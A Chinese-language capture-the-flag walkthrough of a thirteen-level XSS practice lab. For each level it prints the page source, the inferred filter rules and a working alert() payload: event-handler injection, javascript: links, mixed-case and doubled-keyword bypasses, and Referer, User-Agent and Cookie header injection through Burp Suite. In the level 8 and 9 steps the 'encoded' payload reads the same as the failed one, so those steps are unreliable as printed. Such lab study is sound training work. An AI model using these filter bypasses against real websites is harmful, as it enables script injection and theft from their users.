目录
1 实验简介
实验网站/靶场:http://test.ctf8.com/。
实验目的:
- 熟悉XSS漏洞测试的过程;
- 判断是否过滤与过滤规则;
- 练习XSS语句构造与绕过方法;
- 一边练习一边结合SQL注入进行比较;
- 一边练习一边思考编码与转码,后续补充这一方面的学习。
2 XSS通关过程
2.0 通关前注意
在测试过程中,有哪些东西是我们可以利用来猜测与判断的:
- 网页页面的变化;
- 审查网页元素;
- 查看网页源码;
如果是白盒测试,还可以进行代码审计。
一个好用的xss测试代码:<script " 'Oonn>
,方便我们测试网页后台对输入语句的过滤规则。利用该语句输入后,审查源码,猜测是否过滤以及过滤规则是什么。
2.1 关卡1
(1)打开实验网站。在浏览器输入网址http://test.ctf8.com/进入xss实验网站,并点击图片,进入测试关卡1.
(2)测试网页过滤规则。将参数修改为测试神句?name=<script " 'Oonn>
回车。发现网页一片空白,无事发生。
(3)查看源代码推导过滤规则。右键页面查看一下网页源码,在第16号,发现所有符号都没过滤,也没有转义,构造的语句完完整出现在这里。
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level2.php?keyword=test";
}
</script>
<title>欢迎来到level1</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level1</h1>
<h2 align=center>欢迎用户<script " 'OOnn></h2><center><img src=level1.png></center>
<h3 align=center>payload的长度:16</h3></body>
</html>
(4)构造xss漏洞验证代码并验证。修改参数为?name=<script>alert(/xss/)</script>
,页面弹窗。
2.2 关卡2
(1)点击确定进入关卡2,页面如下,有一个搜索输入框。
(2)测试网页过滤规则。在搜索框中输入xss测试语句:<script " 'Oonn>
,回车,无事发生。我们可以看到输入框中没有显示出双引号,所以此处语句应该是被双引号闭合。
(3)查看源代码推导过滤规则。
- 在第18行,可以看到输入的参数是被双引号闭合着带入到input标签中。
- 对此,我们需要在①开头构造一个
">
把标签input标签闭合掉,再在之后②拼接一个<script>alert(/xss/)</script>
语句,这样我们构造的标签就能顺利被编译,而不是简单字符串了,另外③还需要在结尾构造一个"<
把input剩下的尖括号闭合掉。
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level3.php?writing=wait";
}
</script>
<title>欢迎来到level2</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level2</h1>
<h2 align=center>没有找到和<script " 'OOnn>相关的结果.</h2><center>
<form action=level2.php method=GET>
<input name=keyword value="<script " 'OOnn>">
<input type=submit name=submit value="搜索"/>
</form>
</center><center><img src=level2.png></center>
<h3 align=center>payload的长度:16</h3></body>
</html>
(4)构造xss漏洞验证代码并验证。修改参数为"><script>alert(/xss/)</script><"
,页面弹窗。
2.3 关卡3
(1)点击确定进入关卡3,页面如下,有一个搜索输入框。
(2)测试网页过滤规则。在搜索框输入测试语句:<script " 'Oonn>
,点搜索,无事发生。仅能看到输入框的内容里没有单引号,因此我们猜测该输入参数是被单引号闭合的。
(3)查看源代码推导过滤规则。
- 在第18行可以看到,大小于号和双引号被转义,但是单引号没有被转义且参数是用单引号闭合的。
- 由于大于号被转义,我们需要使用哪些不需要用到标签的语句来触发XSS漏洞比如说用事件触发的形式,同时且开头需要使用单引号’与input标签属性原有的开头单引号闭合,结尾需要单引号与与input标签属性单有的结尾单引号闭合。
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level4.php?keyword=try harder!";
}
</script>
<title>欢迎来到level3</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level3</h1>
<h2 align=center>没有找到和<script " 'OOnn>相关的结果.</h2><center>
<form action=level3.php method=GET>
<input name=keyword value='<script " 'OOnn>'>
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level3.png></center>
<h3 align=center>payload的长度:16</h3></body>
</html>
(4)构造xss漏洞验证代码并验证。输入参数'onmouseover='alert(/xss/)
并点击搜索,当我们将鼠标移动至输入框时,触发事件,就弹出窗口。
2.4 关卡4
(1)点击确定进入关卡4,页面如下,有一个搜索输入框。
(2)测试网页过滤规则。在搜索框输入测试语句:<script " 'Oonn>
点搜索,无事发生。我们看到搜索框里没有小于号,估计是被转义了,内容也是到script截止,猜测内容是由双引号闭合的。
(3)查看源代码推导过滤规则。
- 可以看到第18,大小于号(尖括号)已被过滤,引号没有被过滤或转义,参数采用的是双引号的闭合方式。
- 因此本题构造语句需要使用事件触发类型的,避免使用大小于号(尖括号),且开头需要使用双引号"与input标签属性原有的开头双引号闭合,结尾需要双引号与与input标签属性原有的结尾双引号闭合。
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level5.php?keyword=find a way out!";
}
</script>
<title>欢迎来到level4</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level4</h1>
<h2 align=center>没有找到和<script " 'OOnn>相关的结果.</h2><center>
<form action=level4.php method=GET>
<input name=keyword value="script " 'OOnn">
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level4.png></center>
<h3 align=center>payload的长度:14</h3></body>
</html>
(4)构造xss漏洞验证代码并验证。修改参数为"onmouseover="alert(/xss/)
,点击搜索时,没有弹出窗口,但是当我们将鼠标移动至输入框时,触发事件,就弹出窗口。
2.5 关卡5
(1)点击确定进入关卡5,页面如下,有一个搜索输入框。
(2)测试网页过滤规则。在搜索框输入测试语句:<script " 'Oonn>
,显示如下。
(3)查看源代码推导过滤规则。
- 在第18行我们发现script和on开头的两个关键字都被转义,大小于号和引号没有被过滤与转义。同时语句采用双引号闭合方式。
- 对此,我们可测试其他关键字语句比如
<a href="javascript:alert(/xss/)">
。同时①开头构造一个">
把标签input标签闭合掉,再在之后②拼接一个<a href="javascript:alert(/xss/)">
语句,这样我们构造的标签就能顺利被编译,而不是简单字符串了,另外③还需要在结尾构造一个"<
把input剩下的尖括号闭合掉。
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level6.php?keyword=break it out!";
}
</script>
<title>欢迎来到level5</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level5</h1>
<h2 align=center>没有找到和<script " 'oonn>相关的结果.</h2><center>
<form action=level5.php method=GET>
<input name=keyword value="<scr_ipt " 'oo_nn>">
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level5.png></center>
<h3 align=center>payload的长度:18</h3></body>
</html>
(4)构造xss漏洞验证代码并验证。构造参数为"><a href="javascript:alert(/xss/)">click me!</a><"
,点击搜索,出现页面如下,单击click me后出现弹窗。
2.6 关卡6
(1)点击确定进入关卡6,页面如下,有一个搜索输入框。
(2)测试网页过滤规则。在搜索框输入测试语句,<script " 'Oonn>
,显示如下。
(3)查看源代码推导过滤规则。
- 在第18行,发现script和on开头关键字被转义,大小于号没有被过滤与转义,引号没有被过滤与转义且没有对大小写进行转化。语句采用双引号闭合方式。
- 对此,我们可对关键字进行大小写混编进行尝试,
"><SCript>alert(/xss/)</SCript>"<
。
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level7.php?keyword=move up!";
}
</script>
<title>欢迎来到level6</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level6</h1>
<h2 align=center>没有找到和<script " 'Oonn>相关的结果.</h2><center>
<form action=level6.php method=GET>
<input name=keyword value="<scr_ipt " 'OO_nn>">
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level6.png></center>
<h3 align=center>payload的长度:18</h3></body>
</html>
(4)构造xss漏洞验证代码并验证。修改参数为"><SCript>alert(/xss/)</SCript>"<
,点击搜索如下。通关。
2.7 关卡7
(1)点击确定进入关卡7,页面如下,有一个搜索输入框。
(2)测试网页过滤规则。在搜索框输入测试语句,<script " 'Oonn>
,显示如下。
(3)查看源代码推导过滤规则。
- 在第18行我们看到,script被过滤,同时on也被过滤了一次,其余符号(尖括号、单双引号)均没进行处理。同时,语句采用双引号闭合方式。
- 对此,考虑双写绕过。
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level8.php?keyword=nice try!";
}
</script>
<title>欢迎来到level7</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level7</h1>
<h2 align=center>没有找到和<script " 'oonn>相关的结果.</h2><center>
<form action=level7.php method=GET>
<input name=keyword value="< " 'on>">
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level7.png></center>
<h3 align=center>payload的长度:8</h3></body>
</html>
(4)构造xss漏洞验证代码并验证。构造参数如" oonnmouseover="alert(/xss/)
,成功通关。
2.8 关卡8
(1)点击确定进入关卡8,页面如下,有一个搜索输入框。
(2)测试网页过滤规则。在搜索框输入测试语句,<script " 'Oonn>
,显示如下。与上面实验均不同的是,此处将我们所有输入都输出在框里。
(3)查看源代码推导过滤规则。
- 在第18行可以看到,大小于号被转义、双引号被转义、单引号没事、关键字没事,同时,语句采用双引号闭合方式
- 在第21行中,我们看到参数被传递到a标签的herf属性中,大小于号被转义回来,双引号还是被转义着、关键字被插入下划线,单引号没事。
- 对此,考虑注入href的伪协议。
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level9.php?keyword=not bad!";
}
</script>
<title>欢迎来到level8</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level8</h1>
<center>
<form action=level8.php method=GET>
<input name=keyword value="<script " 'oonn>">
<input type=submit name=submit value=添加友情链接 />
</form>
</center><center><BR><a href="<scr_ipt " 'oo_nn>">友情链接</a></center><center><img src=level8.jpg></center>
<h3 align=center>payload的长度:22</h3></body>
</html>
(4)构造xss漏洞验证代码并验证。
- 构造参数为
javascript:alert(/xss/)
,网页显示如下,点击”友情链接后,没有按照预期弹窗“
- 查看源码查找原因:
①在第21行中,可以看到伪协议中的script被插入了下划线。
② 对此,考虑对部分字符进行编码。
(5)再次构造xss漏洞验证代码并验证。在构造参数的script中的c转码,修改参数为javascript:alert(/xss/)
,完成后点击友情链接触发XSS。
2.9 关卡9
(1)点击确定进入关卡9,页面如下,有一个搜索输入框。
(2)测试网页过滤规则。在搜索框输入测试语句,<script " 'Oonn>
,显示如下。
(3)查看源代码推导过滤规则。
- 在第18行,我们看到大小于号被转义、双引号被转义、单引号没事、关键字没事、大写变小写。同时,参数采用双引号闭合。
- 在第21行,与上一关类似的,参数被传递到href参数中,但是此处显示链接不合法,具体怎么不合法的没有说,在没有代码审计的情况下,只能一步步尝试什么格式才是合法的。
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level10.php?keyword=well done!";
}
</script>
<title>欢迎来到level9</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level9</h1>
<center>
<form action=level9.php method=GET>
<input name=keyword value="<script " 'oonn>">
<input type=submit name=submit value=添加友情链接 />
</form>
</center><center><BR><a href="您的链接不合法?有没有!">友情链接</a></center><center><img src=level9.png></center>
<h3 align=center>payload的长度:22</h3></body>
</html>
(4)解决参数不合法的问题。由于输入参数会赋给href,属于一个链接,因此猜测是否输入参数需要含http://才合法。输入参数为http://xxx.xxx
并提交,查看源码发现现在链接是合法的,我们估计是加了http://这个信息的缘故。
(5)构造xss漏洞验证代码并验证。修改参数为:javascript:alert('http://')
,让内容中含有http://这一段字符串,发现仍然执行失败,再次查看源代码,发现链接处还过滤关键字script。
(6)再次构造xss漏洞验证代码并验证。修改参数为:javascript:alert('http://')
,让内容中含有http://这一段字符串,成功执行。
2.10 关卡10
(1)点击确定进入关卡10,页面如下,有一个搜索输入框。
(2)测试网页过滤规则。在搜索栏将参数改为?keyword=<script " 'Oonn>
,显示如下。
(3)查看源代码推导过滤规则。
- 发现第16行大小于号被转义、双引号都被转义、单引号没事、关键字没事,大写没有转化为小写。同时语句采用双引号闭合。
- 在第18、19、20行,发现另外三个输入参数,分别是t_link、t_history、t_sort,考虑将测试语句依次传入进行测试。
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level11.php?keyword=good job!";
}
</script>
<title>欢迎来到level10</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level10</h1>
<h2 align=center>没有找到和<script " 'OOnn>相关的结果.</h2><center>
<form id=search>
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="" type="hidden">
</form>
</center><center><img src=level10.png></center>
<h3 align=center>payload的长度:16</h3></body>
</html>
(4)再次测试网页过滤规则。当在搜索栏将参数改为?t_sort=<script " 'Oonn>
时,看到源码中出现我们输入的参数值。
- 在第20行,大小于号被过滤,其余没事,参数采用双引号闭合。
- 对此,考虑不需要大小于号的事件触发方式构造语句。
(5)构造xss漏洞验证代码并验证。我们修改参数为?t_sort=click me!" type="button" onmouseover="alert(/xss/)
。页面显示如下,鼠标移动到按钮上,出现弹窗表示通过。 - ?t_sort=表示参数是传递给谁;
- click me!"给input赋值同时闭合双引号;
- 修改type属性为按钮方便事件触发;
- onmouseover则表示鼠标移动到按钮上时触发事件。
2.11 关卡11
(1)点击确定进入关卡11,页面如下,有一个搜索输入框。
(2)测试网页过滤规则。在搜索栏将参数改为?keyword=<script " 'Oonn>
,显示如下。
(3)查看源代码推导过滤规则。
- 发现第16行大小于号被转义、双引号都被转义、单引号没事、关键字没事,大写没有转化为小写。同时语句采用双引号闭合。
- 在第18、19、20、21行,发现另外四个输入参数,分别是t_link、t_history、t_sort、t_ref,考虑将测试语句依次传入进行测试。
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level12.php?keyword=good job!";
}
</script>
<title>欢迎来到level11</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level11</h1>
<h2 align=center>没有找到和<script " 'OOnn>相关的结果.</h2><center>
<form id=search>
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="" type="hidden">
<input name="t_ref" value="" type="hidden">
</form>
</center><center><img src=level11.png></center>
<h3 align=center>payload的长度:16</h3></body>
</html>
(4)再次测试网页过滤规则。当给t_link、t_history和t_ref传入参数时,源码中value值均没有响应,而当传入参数为?t_sort=<script " 'Oonn>
时,源码如下:
- 发现第20行大小于号被转义、双引号都被转义、单引号没事、关键字没事,大写没有转化为小写。同时语句采用双引号闭合。
- 方法一:尝试从 keyword 和 t_sort 进行突破,两者的过滤规则是一样的,需要用双引号进行闭合但是双引号被转义。尝试过对大小于号、双引号进行编码以求绕过,发现还是不行。
- 方法二:其他三个参数时均没有显示,可能该参数不是通过url地址栏传递的,比如说t_ref有可能是http的referer头部信息。
(5)为了测试http请求其他位置的输入,比如referer,我们需要借助BurpSuite工具(安装及应用可具体参考《【Burp Suite工具-1】BurpSuite简介及安装过程详解》、《【Burp Suite工具-2】BurpSuite工作原理及菜单栏介绍》)来修改http请求,将请求发到repeater模块,在host下新增一行referer:<script " 'Oonn>
,点击send。在回包中看到t_ref参数显示出我们的参数,没有任何过滤。
(6)构造xss漏洞验证代码并验证。回到proxy模块,再次获取请求,并修改参数如下:referer:click me!" type="button" onmouseover="alert(/xss/)
,点击forward。
(7)回到浏览器,如下,鼠标移动到按钮处则弹窗。
2.12 关卡12
(1)点击确定进入关卡12,页面如下,有一个搜索输入框。
(2)测试网页过滤规则。在搜索栏将参数改为?keyword=<script " 'Oonn>
,显示如下。
(3)查看源代码推导过滤规则。
- 在第16行大小于号被转义、双引号都被转义、单引号没事、关键字没事,大写没有转化为小写。同时语句采用双引号闭合。
- 在第18、19、20、21行,发现另外四个输入参数,分别是t_link、t_history、t_sort、t_ua,看到t_ua后面的值,属于User-Agent参数,因此我们可能和11关类似,需要借助burpsuote工具修改http请求头信息。
(3)同样的,利用BurpSuite获取到浏览器的请求,来修改http请求头信息。将拦截到的请求发到repeater模块,通过修改User-Agent参数为<script " 'Oonn>
,点击send。在回包中看到t_ua参数显示出我们的参数,只过滤了尖括号。
(4)构造xss漏洞验证代码并验证。回到proxy模块,再次获取请求,并修改User-Agent参数为click me!" type="button" onmouseover="alert(/xss/)
,点击forward。
(5)回到浏览器,如下,鼠标移动到按钮处则弹窗。
2.13 关卡13
(1)点击确定进入关卡13,页面如下,有一个搜索输入框。
(2)测试网页过滤规则。在搜索栏将参数改为?keyword=<script " 'Oonn>
,显示如下。
(3)查看源代码推导过滤规则。
- 在第16行大小于号被转义、双引号都被转义、单引号没事、关键字没事,大写没有转化为小写。同时语句采用双引号闭合。
- 在第18、19、20、21行,发现另外四个输入参数,分别是t_link、t_history、t_sort、t_cook,看到t_cook参数,猜测这次应该是通过cookie输入参数。因此我们可能和11关类似,需要借助burpsuote工具修改http请求头信息。
(3)同样的,利用BurpSuite获取到浏览器的请求,来修改http请求头信息,将拦截到的请求发到repeater模块。由于请求中的COOKIE参数的user值与源代码中的一致,因此修改COOKIE参数中的user值为<script " 'Oonn>
,点击send。在回包中看到t_cook参数显示出我们的参数,只过滤了尖括号。
(4)构造xss漏洞验证代码并验证。回到proxy模块,再次获取请求。并将COOKIE参数中的user值修改为click me!" type="button" onmouseover="alert(/xss/)
,点击forward。
(5)回到浏览器,如下,鼠标移动到按钮处则弹窗。
3 总结
(1)通过测试语句执行情况、网页源码等,进行如下判断:
- 1)判断大小于号是否过滤与转义;
- 判断单双引号是否过滤与转义;
- 判断关键字是否过滤与转义;
- 判断大小写是否转化;
- 判断语句闭合方式。
(2)额外地,可以分析是否存在其他注入点。
(3)根据判断结果,灵活构造语句与利用绕过规则。